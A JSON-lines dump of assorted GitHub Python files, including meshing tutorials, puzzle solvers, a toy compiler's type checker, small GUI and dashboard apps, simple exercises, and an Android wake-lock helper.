from_meshio\n\nfrom gplugins.gmsh.get_mesh import create_physical_mesh, get_mesh\n\ngf.config.rich_output()\nPDK = get_generic_pdk()\nPDK.activate()\n\nwaveguide = gf.components.straight_pin(length=10, taper=None)\nwaveguide.plot()\n# -\n\n# and a `LayerStack`. Here, we copy the example from `gdsfactory.generic_tech` for clarity).\n# The `info` dict contains miscellaneous information about the layers, including `mesh_order`, which determines which layer will appear in the mesh if layers overlap.\n\n# We can filter this stack to only focus on some layers:\n\nfiltered_layer_stack = LayerStack(\n layers={\n k: LAYER_STACK.layers[k]\n for k in (\n \"slab90\",\n \"core\",\n \"via_contact\",\n )\n }\n)\n\n# +\nfilename = \"mesh\"\n\n\ndef mesh_with_physicals(mesh, filename):\n mesh_from_file = meshio.read(f\"{filename}.msh\")\n return create_physical_mesh(mesh_from_file, \"triangle\")\n\n\n# -\n\nscene = waveguide.to_3d(layer_stack=filtered_layer_stack)\nscene.show()\n\n# The various processing and meshing functions are located under `gplugins.gmsh` and can be called from there, but a shortcut is implemented to mesh directly from a component:\n\nmesh = get_mesh(\n component=waveguide,\n type=\"xy\",\n z=0.09,\n layer_stack=filtered_layer_stack,\n filename=\"mesh.msh\",\n)\n\n# This returns a gmsh `.msh` mesh, also saved in `filename` if provided, which can be processed:\n\nmesh.get_cells_type(\"triangle\")\nmesh = from_meshio(mesh)\nmesh.draw().plot()\n\n# The `gmsh` GUI can be used to load and inspect the `.msh` file:\n#\n# ![msh mesh](https://imgur.com/jzwjEVC.png)\n\n# [meshio](https://github.com/nschloe/meshio) can also be used to convert the `.msh` to another arbitrary format, to observe for instance with `Paraview`. This is useful, for instance to preprocess the `msh` file using the `create_mesh` utility in order to consolidate entities with the same label:\n\n# +\nmesh_from_file = meshio.read(\"mesh.msh\")\n\ntriangle_mesh = create_physical_mesh(mesh_from_file, \"triangle\")\nmeshio.write(\"mesh.xdmf\", triangle_mesh)\n\nmesh = mesh_with_physicals(triangle_mesh, filename)\nmesh = from_meshio(mesh)\nmesh.draw().plot()\n# -\n\n# You can opening the `mesh.xdmf` in paraview:\n#\n# ![](https://imgur.com/zBn5596.png)\n\n# +\nline_mesh = create_physical_mesh(mesh_from_file, \"line\")\nmeshio.write(\"facet_mesh.xdmf\", line_mesh)\n\nmesh = mesh_with_physicals(line_mesh, filename)\nmesh = from_meshio(mesh)\nmesh.draw().plot()\n# -\n\n# Opening the `facet_mesh.xdmf` in paraview:\n#\n# ![](https://imgur.com/tNhIIPK.png)\n\n# The `xdmf` files with consolidated physical groups can also be opened dynamically in a notebook with `pyvista`\n","repo_name":"gdsfactory/gplugins","sub_path":"docs/notebooks/meshing_01_intro.py","file_name":"meshing_01_intro.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"48"} +{"seq_id":"40157031257","text":"\n#1\n\"\"\"\nimport time \n\n\nh = \"#\"\nfor i in range(10):\n time.sleep(1)\n print(f\"Progress: {10*i}%\", h*i)\n\nprint(\"Progress done!\")\n\"\"\"\n\n#stopwatch\n\n\"\"\"\nimport time\nprint(input(\"press enter to start\"))\ncur = time.time() # saves current time in unix\n\nprint(f\"Start time: {cur}\")\n\nprint(input(\"press enter to stop\"))\nanot = time.time() #another time\nprint(f\"End time: {anot}\")\n\ntime.sleep(1)\ndif = anot -cur #difference between two times\nprint(f\"Time has passed: {dif}\")\n\n\n\n\"\"\"\n#countdown \n\n\nimport time\n\ninp = int(input(\"enter integer: \")) #enter integer\n\nstart = time.ctime() #begin time\nprint(\"Countdown begins.\", start) #prints out begin time\n\n\nfor i in range(inp): #countdown loop\n time.sleep(1)\n print(inp-i)\n\nprint(\"Countdown ends. \\n\" #print all the needed results\n f\"Begin time: {start}\\n\"\n f\"End time: {time.ctime()}\\n\"\n f\"Countdown int: {inp}\")\n","repo_name":"OdessaHH/september","sub_path":"regex14-16/progressbar.py","file_name":"progressbar.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73950910864","text":"# pylint: disable=missing-module-docstring, missing-docstring\n\n\ndef process_data(\n data: list[str],\n) -> tuple[list[int], list[list[tuple[int, int, int]]]]:\n \"\"\"Parses raw input data into more readily usable format as described below.\n\n Args:\n data:\n Raw data in the common \"list of strings\" format output by the\n `data_io` module.\n\n Returns:\n A tuple of two elements, the first being the list of initial seeds for\n part 1 and the initial seed _ranges_ for part 2, the second being an\n ordered list of the required mappings, where each element is in turn a\n lists of tuples of integers, where each tuple corresponds to the\n (destination range start, source range start, range length) format, as\n per the puzzle description.\n \"\"\"\n seeds = [int(n) for n in data[0].replace(\"seeds: \", \"\").split()]\n mappings = []\n for line in data[1:]:\n if line and line[0].isalpha():\n mappings.append([])\n elif line and line[0].isnumeric():\n mappings[-1].append(tuple(int(x) for x in line.split()))\n return (seeds, mappings)\n\n\ndef map_seed2loc(seed: int, mappings: list[list[tuple[int, int, int]]]) -> int:\n src = seed\n for mapping in mappings:\n for dest_min, src_min, rng_len in mapping:\n dest = src\n if src_min <= src < src_min + rng_len:\n dest = dest_min + src - src_min\n src = dest\n break\n return dest\n\n\ndef simplify_maps(\n mappings: list[list[tuple[int, int, int]]]\n) -> list[list[tuple[int, int, int]]]:\n \"\"\"Convert mappings to more readily understandable format\n\n Args:\n mappings: A list of lists of 3-tuples in the original format described\n in the puzzle where each tuple is a (destination range start, source\n range start, range length) tuple.\n\n Returns:\n A list of lists of 3-tuples where the tuples correspond to the format:\n (source range start, source range end, offset to be applied in order to\n get to destination). Also the tuples in each sub-list are sorted by\n source range start.\n \"\"\"\n better_mappings = []\n for m in mappings:\n better_mappings.append([])\n for interval in m:\n src_start = interval[1]\n src_end = interval[1] + interval[2]\n offset = interval[0] - interval[1]\n better_mappings[-1].append((src_start, src_end, offset))\n better_mappings[-1].sort(key=lambda x: x[0])\n return better_mappings\n\n\ndef map_intervals(\n all_input_spans: list[tuple[int, int]],\n mappings: list[list[tuple[int, int, int]]],\n) -> list[tuple[int, int]]:\n all_output_spans = []\n while all_input_spans:\n span_in = all_input_spans.pop(0)\n span_out = None\n for mapping in mappings:\n if mapping[1] <= span_in[0]: # No overlap... left of span\n # mappings are sorted by start index; keep looking\n continue\n if mapping[0] >= span_in[1]: # No overlap... right of span\n # mappings are sorted by start index; we're done for this span\n span_out = span_in\n break\n if mapping[0] < span_in[0] and mapping[1] < span_in[1]:\n # mapping overlaps span on span's left side\n offset = mapping[2]\n span_out = (span_in[0] + offset, mapping[1] + offset)\n all_input_spans.append((mapping[1], span_in[1]))\n break\n if mapping[0] > span_in[0] and mapping[1] > span_in[1]:\n # mapping overlaps span on span's right side\n offset = mapping[2]\n span_out = (mapping[0] + offset, span_in[1] + offset)\n all_input_spans.append((span_in[0], mapping[0]))\n break\n if mapping[0] >= span_in[0] and mapping[1] <= span_in[1]:\n # mapping is a subset of the span\n offset = mapping[2]\n span_out = (mapping[0] + offset, mapping[1] + offset)\n if span_in[0] != mapping[0]:\n all_input_spans.append((span_in[0], mapping[0]))\n if mapping[1] != span_in[1]:\n all_input_spans.append((mapping[1], span_in[1]))\n break\n if span_in[0] >= mapping[0] and span_in[1] <= mapping[1]:\n # span is a subset of the mapping\n offset = mapping[2]\n span_out = (span_in[0] + offset, span_in[1] + offset)\n break\n # If we get here, no mapping was found, so use default offset = 0\n if not span_out:\n span_out = span_in\n all_output_spans.append(span_out)\n return all_output_spans\n\n\ndef solve_part_1(\n init_seeds: list[int], mappings: list[list[tuple[int, int, int]]]\n) -> int:\n locations = []\n for seed in init_seeds:\n locations.append(map_seed2loc(seed, mappings))\n return min(locations)\n\n\ndef solve_part_2(\n init_seeds: list[int], mappings: list[list[tuple[int, int, int]]]\n) -> int:\n better_maps = simplify_maps(mappings)\n seed_ranges = [\n (x[0], x[0] + x[1]) for x in zip(init_seeds[::2], init_seeds[1::2])\n ]\n intervals = seed_ranges\n for map_level in better_maps:\n intervals = map_intervals(intervals, map_level)\n return min(interval[0] for interval in intervals)\n\n\ndef solve(data: list[str], part: int) -> int:\n init_seeds, mappings = process_data(data)\n if part == 1:\n solution = solve_part_1(init_seeds, mappings)\n else: # part == 2\n solution = solve_part_2(init_seeds, mappings)\n return solution\n","repo_name":"artificialfintelligence/AoC","sub_path":"2023/solvers/day05.py","file_name":"day05.py","file_ext":"py","file_size_in_byte":5694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36159979084","text":"###======================================================================###\r\n# Type checker for a small subset of C, in which the only existing type is #\r\n# int and so it might seem like an unnecessary module but it also does #\r\n# other cool stuff, like making sure that variables are declared before #\r\n# they are used, correct number of function call arguments and so on. #\r\n###======================================================================###\r\nfrom collections import deque\r\nfrom dataclasses import dataclass\r\nimport ir_instr as ir\r\nimport sys\r\n\r\n# An entry in the function symbol table.\r\n@dataclass\r\nclass f_entry:\r\n name : str\r\n nbr_param : int\r\n\r\n# An entry in the variable symbol table.\r\n@dataclass\r\nclass v_entry:\r\n name : str\r\n local_index : int\r\n type : str = \"int\"\r\n\r\nv_table = deque() # Variable symbol table, scopes are dicts.\r\nf_table = dict() # Function symbol table.\r\nf_table[\"print\"] = f_entry(\"print\", 1) # Print function hard-coded in assembly.\r\n\r\n# Enter a new scope and put it on the variable symbol table stack.\r\ndef enter_scope():\r\n v_table.appendleft(dict())\r\n\r\n# Exit the current scope.\r\ndef exit_scope():\r\n v_table.popleft()\r\n\r\n# Check if name is already declared as a function.\r\ndef check_ftable_def(name):\r\n if f_table.get(name):\r\n report_error(\"Redeclaration. (func)\")\r\n\r\n# Check if name is already declared as a variable within the same scope.\r\ndef check_vtable_def(name):\r\n if v_table[0].get(name):\r\n report_error(\"Redeclaration. (var)\")\r\n\r\n# Make sure that functions are declared and that the number of param is correct.\r\ndef check_ftable_use(name, nbr_param):\r\n if f_table.get(name):\r\n if f_table[name].nbr_param != nbr_param:\r\n report_error(\"Wrong number of function arguments.\")\r\n else:\r\n report_error(\"Function not declared.\")\r\n\r\n# Make sure that variables are declared before they are used.\r\ndef check_vtable_use(name):\r\n for v in v_table:\r\n if v.get(name):\r\n return v[name].local_index\r\n report_error(\"Variable used before declared.\")\r\n\r\n# Add a function to the fucntion symbol table.\r\ndef add_f_entry(name, nbr_param):\r\n check_ftable_def(name)\r\n f_table[name] = f_entry(name, nbr_param)\r\n\r\n# Add a variable to the current scope. For simplicity we don't allow shared\r\n# names between functions and variables.\r\ndef add_v_entry(name, local_index):\r\n check_ftable_def(name)\r\n check_vtable_def(name)\r\n v_table[0][name] = v_entry(name, local_index)\r\n\r\n# Note that the parser doesn't currently parse global variables.\r\ndef type_check(prog_ast):\r\n for func in prog_ast.funcs:\r\n add_f_entry(func.name, len(func.params))\r\n enter_scope()\r\n type_check_func(func)\r\n exit_scope()\r\n\r\n# Go through the function and look for defs and uses.\r\n# When we reference a parameter in assembly we do: local_index*8(%rbp)\r\n# The first parameter is 16 bytes away in memory so we start local_index on 2.\r\ndef type_check_func(func):\r\n local_index = 2\r\n for param in func.params:\r\n add_v_entry(param.name, local_index)\r\n local_index += 1\r\n type_check_block(func, func.block)\r\n\r\n# We pass func as an argument so that we can propagate it along to the\r\n# type_check_decl method, and update the nbr_locals used by codegen.\r\ndef type_check_stmt(func, stmt):\r\n if stmt.node_type == \"decl_node\":\r\n type_check_decl(func, stmt)\r\n elif stmt.node_type == \"block_node\":\r\n enter_scope()\r\n type_check_block(func, stmt)\r\n exit_scope()\r\n elif stmt.node_type == \"assignment_node\":\r\n stmt.local_index = check_vtable_use(stmt.name)\r\n type_check_exp(stmt.exp)\r\n elif stmt.node_type == \"func_call_node\":\r\n type_check_func_call(stmt)\r\n elif stmt.node_type == \"if_node\":\r\n type_check_if_stmt(func, stmt)\r\n elif stmt.node_type == \"return_node\":\r\n type_check_exp(stmt.exp)\r\n\r\n# The calling function make sure to enter a new scope for block, even though\r\n# type_check_block could do it, but this way is easier to scope params.\r\ndef type_check_block(func, block):\r\n for stmt in block.stmts:\r\n type_check_stmt(func, stmt)\r\n\r\n# First make sure that we haven't declared the name earlier in scope.\r\ndef type_check_decl(func, decl):\r\n decl_name = decl.name\r\n func.nbr_locals += 1\r\n add_v_entry(decl_name, -func.nbr_locals)\r\n decl.local_index = -func.nbr_locals\r\n if decl.exp:\r\n type_check_exp(decl.exp)\r\n\r\ndef type_check_func_call(func_call):\r\n check_ftable_use(func_call.name, len(func_call.args))\r\n for arg in func_call.args:\r\n type_check_exp(arg)\r\n\r\ndef type_check_if_stmt(func, if_stmt):\r\n condition = if_stmt.condition\r\n stmt = if_stmt.stmt\r\n opt_else = if_stmt.opt_else\r\n type_check_exp(condition.op1)\r\n if condition.op2:\r\n type_check_exp(condition.op2)\r\n if stmt.node_type == \"block_node\":\r\n enter_scope()\r\n type_check_block(func, stmt)\r\n exit_scope()\r\n else:\r\n enter_scope()\r\n type_check_stmt(func, stmt)\r\n exit_scope()\r\n if opt_else:\r\n if opt_else.node_type == \"block_node\":\r\n enter_scope()\r\n type_check_block(func, opt_else)\r\n exit_scope()\r\n else:\r\n enter_scope()\r\n type_check_stmt(func, opt_else)\r\n exit_scope()\r\n\r\ndef type_check_exp(node):\r\n if node.name:\r\n node.local_index = check_vtable_use(node.name)\r\n elif node.is_exp:\r\n type_check_exp(node.op1)\r\n type_check_exp(node.op2)\r\n elif node.func_call:\r\n type_check_func_call(node.func_call)\r\n\r\ndef report_error(str):\r\n print(\"Error: \", str)\r\n sys.exit()\r\n\r\n\r\ndef print_tables():\r\n print(\"f_table: \")\r\n for f in f_table:\r\n print(f)\r\n print(\"---------------\")\r\n print(\"v_table: \")\r\n for v in v_table:\r\n print(v)\r\n","repo_name":"hugsvala/tiny-compiler","sub_path":"type_checker.py","file_name":"type_checker.py","file_ext":"py","file_size_in_byte":5886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5544621089","text":"\"\"\"\n最大不相邻子序列和\nlintcode: 392.打劫房屋\n\"\"\"\n\n\n# 递归 27%时超出时间限制\ndef max_sum(nums):\n\n if not nums:\n return 0\n\n if len(nums) == 1:\n return nums[0]\n\n if len(nums) == 2:\n return max(nums[0], nums[1])\n\n if len(nums) == 3:\n return max(nums[0]+nums[2], nums[1])\n\n return max(nums[0]+max_sum(nums[2:]), nums[1]+max_sum(nums[3:]))\n\n\n# 递归转for循环 O(n)时间复杂度、O(n)空间复杂度\ndef max_sum2(nums):\n\n if not nums:\n return 0\n\n res = [-1] * len(nums)\n\n for i in range(len(nums)):\n if i < 2:\n res[i] = nums[i]\n elif i == 2:\n res[i] = max(nums[1], nums[0]+nums[2])\n else:\n res[i] = max(nums[i]+res[i-2], res[i-1])\n # res[i] = max(nums[i]+res[i-2], nums[i]+res[i-3])\n\n return max(res)\n\n\n# O(n)时间复杂度、O(1)空间复杂度\ndef max_sum3(nums):\n\n if not nums:\n return 0\n\n res = [-1] * 3\n\n for i in range(len(nums)):\n if i < 2:\n res[i] = nums[i]\n elif i == 2:\n res[2] = max(nums[1], nums[0]+nums[2])\n else:\n res[i % 3] = max(nums[i]+res[(i-2) % 3], res[(i-1) % 3])\n\n return max(res)\n\n\nif __name__ == '__main__':\n nums = [1, 5, 3, 4, 1, 7, 1, 8]\n\n print(max_sum(nums))\n print(max_sum2(nums))\n print(max_sum3(nums))\n","repo_name":"Narcissus7/DP","sub_path":"lintcode392.py","file_name":"lintcode392.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30926134861","text":"\nfrom time import sleep\nfrom wx import (Bitmap, BITMAP_TYPE_PNG,\n Frame,)\nfrom wx.adv import (Sound, SplashScreen,\n SPLASH_CENTRE_ON_SCREEN, SPLASH_TIMEOUT,)\n\nfrom topBookReaderGui.topBookReaderMenubar import TopBookReaderMenuBar\nfrom topBookReaderGui.topBookReaderPanel import TopBookReaderPanel\n\n#the main frame/window of the app\nclass TopBookReaderFrame(Frame):\n '''\n this class serves as the main window of the app.\n Has a parameter (file) that requires a string.\n '''\n\n def __init__(self, file):\n super().__init__(None, -1, 'TOP Book Reader', size=(800, 600))\n\n #play the startup sound file of the app\n sound = Sound('resources/sounds/startup.wav')\n sound.Play()\n #display the app icon\n appIcon = Bitmap('resources/icons/startUpIcon.png', BITMAP_TYPE_PNG)\n startSplash = SplashScreen(appIcon, SPLASH_CENTRE_ON_SCREEN | SPLASH_TIMEOUT, 4000, None, -1)\n self.SetSize(startSplash.GetSize())\n sleep(4)\n\n self.Maximize() #maximizes the window by default\n #instantiate the toolbar object\n self.toolBar = self.CreateToolBar()\n self.pnl = TopBookReaderPanel(self) #instantiates the TopBookReaderPanel object\n #open the file through the app if clicked\n file = file\n if file:\n self.pnl.displayContent(file)\n\n #instantiate the EbarMenuBar object\n self.__menuBar = TopBookReaderMenuBar(self)\n self.SetMenuBar(self.__menuBar) #add it to the main window\n self.Show()\n","repo_name":"Oghenetejiritop/topBookReader","sub_path":"topBookReaderGui/topBookReaderFrame.py","file_name":"topBookReaderFrame.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73232087185","text":"import gym\nimport gym_sdwan\n\nMAX_TICKS = 30\ntotal_reward = 0\n\nenv = gym.make('Sdwan-v0')\n\nobservation = env.reset()\n\nprint('Initial State:', observation)\n\nerror = False\nfor t in range (MAX_TICKS):\n\taction = env.action_space.sample()\n\tobservation, reward, error, info = env.step(action)\n\ttotal_reward += reward\n\tprint('Ticks:', t+1, 'Action:', action, 'Ob:', observation, 'R:', \n\t\t\treward, 'Total Reward:', total_reward)\n\n\tif error:\n\t\tprint(\"Episode Aborted after {} timesteps\".format(t+1))\n\t\tbreak\n\nif not error:\n\tprint(\"Episode Finished after {} timesteps\".format(t+1))\n\nenv.cleanup()\n","repo_name":"amitnilams/sdwan-gym","sub_path":"tests/random_trial.py","file_name":"random_trial.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"36937330054","text":"import random\n\n\nclass Human():\n # Создание человека и ввод его параметров\n def __init__(self, name=\"Михаил\", age=14, height=175, weight=73):\n self.name = name\n self.age = age\n self.height = height\n self.weight = weight\n self.status = \"Бодрствует\"\n self.health = 100\n self.satiety = 100\n self.emotion = \"Радость\"\n self.stress = 0\n\n # Вывод всех характеристик человека\n def data(self):\n self.arr = [\n f\"Имя - {self.name}; Возраст - {self.age}; Рост - {self.height}; Вес - {self.weight}; Статус - {self.status}; Показатель здоровья - {self.health}; Показатель сытости - {self.satiety}; Эмоция - {self.emotion}; Уровень стресса - {self.stress}\"]\n return self.arr\n\n # Дайте человеку поспать\n def sleep(self):\n self.stress -= 20\n\n # Занятие человека спортом\n def sport(self, type_sport):\n if type_sport == \"Подтягивания\":\n self.height += 1\n elif type_sport == \"Бег\":\n self.weight -= 1\n self.stress -= self.stress\n\n # Ранение человека\n def injure(self, type_of_injure):\n if type_of_injure == \"Падение с низкой высоты\" or type_of_injure == \"Порез\":\n self.health -= 5\n print(self.name, \"больно\")\n elif type_of_injure == \"Отравление\" or type_of_injure == \"Лёгкая болезнь\":\n self.health -= 10\n print(self.name, \"плохо\")\n elif type_of_injure == \"Тяжёлая болезнь\" or type_of_injure == \"Большое падение с высоты\":\n self.health -= random.randint(0, 50)\n print(self.name, \"очень плохо.\")\n elif type_of_injure == \"Коронавирус\":\n self.health -= random.randint(0, 100)\n else:\n print(\"Такого типа ранения нет в базе данных или не существует\")\n self.emotion = \"Печальный после ранения\"\n self.stress += 10\n\n # Лечение человека\n def treatment(self, type_of_treatment):\n if type_of_treatment == \"Принять таблетки\":\n self.health += 10\n elif type_of_treatment == \"Поход к врачу\" or type_of_treatment == \"Лечебный массаж\":\n self.health += 20\n elif type_of_treatment == \"Поход к частному врачу\":\n self.health += 30\n else:\n print(\"Такого типа лечения нет в базе данных или не существует\")\n self.emotion = \"Радостный после лечния\"\n self.stress -= 10\n\n # Питание человека\n def eating(self, type_of_food):\n if type_of_food == \"Чай\" or type_of_food == \"Бутерброд\":\n self.satiety += 5\n elif type_of_food == \"Тортик\" or type_of_food == \"Каша\" or type_of_food == \"Макарончики\":\n self.satiety += 10\n elif type_of_food == \"Пельмешки\" or type_of_food == \"Пицца\" or type_of_food == \"Ланч\":\n self.satiety += 20\n elif type_of_food == \"Курочка\" or type_of_food == \"Жареная картошечка\" or type_of_food == \"Запечёная картошечка\":\n self.satiety += 30\n else:\n print(\"Такого типа еды нет в базе данных или не существует\")\n self.emotion = \"Радостный, потому что покушал\"\n self.stress -= 20\n\n # События, после которых меняется эмоция\n def events_emotion(self, event):\n if event == \"Нашёл деьги\" or event == \"Получил зарплату\" or event == \"Поиграл\" or event == \"Расслабился\":\n self.emotion = \"Радость\"\n self.stress -= 10\n elif event == \"Потерял деньги\" or event == \"Умерла собака\" or event == \"Уволили с работы\" or event == \"Забыл что-то важное\":\n self.emotion = \"Грусть\"\n self.stress += 10\n\n\n# Создание Misha, который будте являться человеком, и задача некоторых параметров\nMisha = Human()\n# Время\ntime = 1\n# Бесконечный цикл(почти)\nwhile True:\n\n # Запрос на событие\n exec(input(\"Вводите событие >>\"))\n\n # Изменение параметров со временем\n if Misha.height < 200:\n Misha.height += 1\n Misha.satiety -= 5\n Misha.stress -= 2\n\n # Проверка на определённые параметры, исправление некоторых параметров ,и события, связаные с человеком\n if Misha.health < 100:\n Misha.health += 1\n if Misha.health > 100:\n Misha.health = 100\n if time % 10 == 0:\n print(Misha.name, \"отмечает день рождения!\")\n Misha.age += 1\n if Misha.health < 1:\n print(Misha.name, \"умер...\")\n Misha.status = \"Умер\"\n print(Misha.name, \"был хорошим человеком, а возможно и нет.\")\n print(\"Конец\")\n break\n if Misha.satiety < 70:\n print(Misha.name, \"голодный\")\n if Misha.satiety < 50:\n Misha.health -= 5\n print(Misha.name, \"плохо без еды. Дайте ему еды!\")\n if Misha.satiety < 20:\n Misha.health -= 10\n print(\"Срочно покормите\", Misha.name, \"!\")\n if Misha.satiety > 100:\n Misha.satiety = 100\n if Misha.stress == 50:\n print(Misha.name, \"испытывает стресс\")\n if Misha.stress == 80:\n print(Misha.name, \"испытывает большой стресс\")\n if Misha.stress > 99:\n Misha.status = \"Депрессия\"\n if Misha.stress < 0:\n Misha.stress = 0\n\n # Выведение данных человека\n print(Misha.data())\n\n # Поток времени\n time += 1\n","repo_name":"Arava003/learningPyton","sub_path":"ClassHuman.py","file_name":"ClassHuman.py","file_ext":"py","file_size_in_byte":6484,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"6061625578","text":"list = ['bun','pho','mien']\nn = input('ban muon chon C,R,U,D?').lower()\n\nif n == \"c\":\n a = input('mon ban thich la?')\n list.append(a)\n print(list)\n\nelif n == \"r\":\n for i, item in enumerate(list):\n print(i+1,\".\",item)\n\nelif n == \"u\":\n i = int(input('vi tri:'))\n x = input('so thich: ')\n list[i] = x\n print(list)\n\nelif n == \"d\":\n b = input('nhap phan tu muon xoa: ')\n list.remove(a)\n print(list)\n","repo_name":"baohan8850/C4T-B10","sub_path":"session6/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8671275420","text":"import dash\nimport dash_bootstrap_components as dbc\nimport dash_core_components as dcc\nimport dash_html_components as html\n\nfrom plots import case_features \nfrom ml_icu import case_features_icu\n\n#global confirmed, recovered and deaths row\ntitle =dbc.Card([dbc.CardBody([dbc.Container([ \n html.H1(children='Case study: predicting 1) confirmed COVID-19 cases from suspected cases and 2) admission to ICU among confirmed COVID-19 cases based off patient data from Hospital Israelita Albert Einstein', className='mt-5 py-4 pb-3 text-center'),\n html.P(\"Dashboard contributors: Bianca A. Hernandez, Ningning Du, Neil Hsu, Youngjung Choi\", style = {'font-weight': 'bold'}, className='mt-3 py-2 pb-1 text-center'),\n ])])])\ncase_container1 = dbc.Card([\n dbc.CardBody([\n dbc.Row([\n dbc.Col(\n dbc.Container([\n html.Div([\n html.H4('Background:', className='mt-5 py-4 pb-3 text-center'),\n html.P(\"The World Health Organization (WHO) characterized COVID-19, caused by the SARS-CoV-2, as a pandemic on March 11. On March 20, the Brazilian federal government declared a nationwide community transmission.\"), \n html.H4(\"Motivation:\", style = {'font-weight': 'bold'}, className='mt-3 py-2 pb-1 text-center'),\n html.P(\"Testing all SARS-CoV-2 cases would be impractical and could lead to test result delays especially when considering an overwhelmed health system.\"), \n ])])),\n dbc.Col(\n dbc.Container([\n html.Div([\n html.H4('Dataset: ', className='mt-5 py-4 pb-3 text-center'),\n html.P(\"Anonymized data from patients seen at the Hospital Israelita Albert Einstein, Sao Paulo, Brazil. Patients had samples collected to test for the SARS-CoV-2 RT-PCR (bloodwork). The dataset consists of 5644 records and 101 variables.\"),\n html.H4(\"Question:\", style = {'font-weight': 'bold'}, className='mt-3 py-2 pb-1 text-center'),\n html.P(\"Would it be possible to predict the test result for SARS-Cov-2 (positive/negative) based on the results of laboratory tests commonly collected for a suspected COVID-19 case during a visit to the emergency room?\"), \n ])]))])])])\ncase_container2 = dbc.Card([\n dbc.CardBody([\n dbc.Row([\n \n dbc.Col(\n html.Div([\n html.H4(\"Predicting confirmed COVID-19 cases among suspected cases\", style = {'font-weight': 'bold'}, className='mt-3 py-2 pb-1 text-center'),\n html.P(\"EDA: looked at distribution of dataset; handled missing values; identified correlations; encoded variables to deal with catergorical variables; removed collinear variables and identified most important features from dataset.\"),\n html.P(\"ML: ran split and train validation, ran model selector (KNeighborsClassifier, SVC, DecisionTreeClassifier, RandomForestClassifier, AdaBoostClassifier, GradientBoostingClassifier), ran hyperparameter optimization (find best parameters for algorithm), created a base model and trained the model with GridSearch.\"),\n\n ])\n ),\n dbc.Col(\n dbc.Container([\n html.Div([\n dcc.Graph(\n id = \"case-fig\", \n figure = case_features()\n \n )\n \n ])\n ])\n ),\n ])\n ])\n])\n\ncase_container3 = dbc.Card([\n dbc.CardBody([\n dbc.Row([\n \n dbc.Col(\n html.Div([\n html.H4(\"Predicting admission to ICU among confirmed COVID-19 cases\", style = {'font-weight': 'bold'}, className='mt-3 py-2 pb-1 text-center'),\n html.P(\"EDA: Data is imbalanced: 558 patients tested positive/8 needed ICU care. Many features are included in the datasheets but not all are usable due to small sample sizes: patient age, bloodwork(cell counts, potassium, sodium etc), other viruses test result (influenza a, b, h1n1 etc) and urine analysis.\"),\n html.P(\"ML: A Random Forest Classifier model was chosen: SMOTE oversampling for minority group, feature selection, hyperparameter tuning for overfitting issue and improving specificity and sensitivity scores\"),\n \n\n ])\n ),\n dbc.Col(\n dbc.Container([\n html.Div([\n dcc.Graph(\n id = \"case-figicu\", \n figure = case_features_icu()\n \n )\n \n ])\n ])\n ),\n ])\n ])\n])\n\n#footer\ncase_footer = dbc.Container([\n html.P('Data Source: Patients seen at Hospital Israelita Albert Einstein, at Sao Paulo, Brazil, https://www.kaggle.com/einsteindata4u/covid19', style = {'font-weight': 'bold'}, className='mt-3 py-2 pb-1 text-center'),\n ])\n\ndef case_title():\n value = title\n return value\ndef case_container():\n value = case_container1\n return value\ndef case_2():\n value = case_container2\n return value \ndef case_3():\n value = case_container3\n return value \ndef cas_study_footer():\n value = case_footer\n return value ","repo_name":"neilhsu70/DataAnalytics-Final-Project","sub_path":"Final Project/page3.py","file_name":"page3.py","file_ext":"py","file_size_in_byte":5580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8555815097","text":"def getLocksForBackgroundOperation():\n from jnius import autoclass, cast\n PythonActivity = autoclass('org.kivy.android.PythonActivity')\n Context = autoclass('android.content.Context')\n\n if PythonActivity and PythonActivity.mActivity:\n activity=PythonActivity.mActivity\n else:\n PythonActivity = autoclass('org.kivy.android.PythonService')\n activity=PythonActivity.mService\n\n WifiManager = autoclass('android.net.wifi.WifiManager')\n service = activity.getApplicationContext().getSystemService(Context.WIFI_SERVICE)\n\n if service:\n wlock = service.createWifiLock(WifiManager.WIFI_MODE_FULL_HIGH_PERF , \"hlp2p\")\n wlock.acquire()\n mlock = service.createMulticastLock(\"Hardlinep2p\")\n mlock.acquire()\n\n\n PowerManager = autoclass('android.os.PowerManager')\n pm = activity.getApplicationContext().getSystemService(Context.POWER_SERVICE)\n wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, 'Hardlinep2p')\n\n wl.acquire()","repo_name":"EternityForest/hardlinep2p","sub_path":"hardline/androidtools.py","file_name":"androidtools.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"48"} +{"seq_id":"13744182253","text":"import base64\nimport glob\nimport os\nimport random\nimport re\nimport string\nfrom urllib.parse import urlparse\n\nfrom icrawler import ImageDownloader\nfrom icrawler.builtin import GoogleImageCrawler\nimport setting\n\nIMAGE_DIR = setting.IMAGE_DIR\n\nunique_image_name = None\n\n### 텍스트 및 이미지 관련 ###\n# 이미지 인코딩 후 파일명에 들어갈 무작위 문자열 생성\nclass Base64NameDownloader(ImageDownloader):\n def get_filename(self, task, default_ext):\n url_path = urlparse(task['file_url'])[2]\n if '.' in url_path:\n extension = url_path.split('.')[-1]\n if extension.lower() not in ['jpg', 'jpeg', 'png', 'bmp', 'tiff', 'gif', 'ppm', 'pgm']:\n extension = default_ext\n else:\n extension = default_ext\n\n filename = 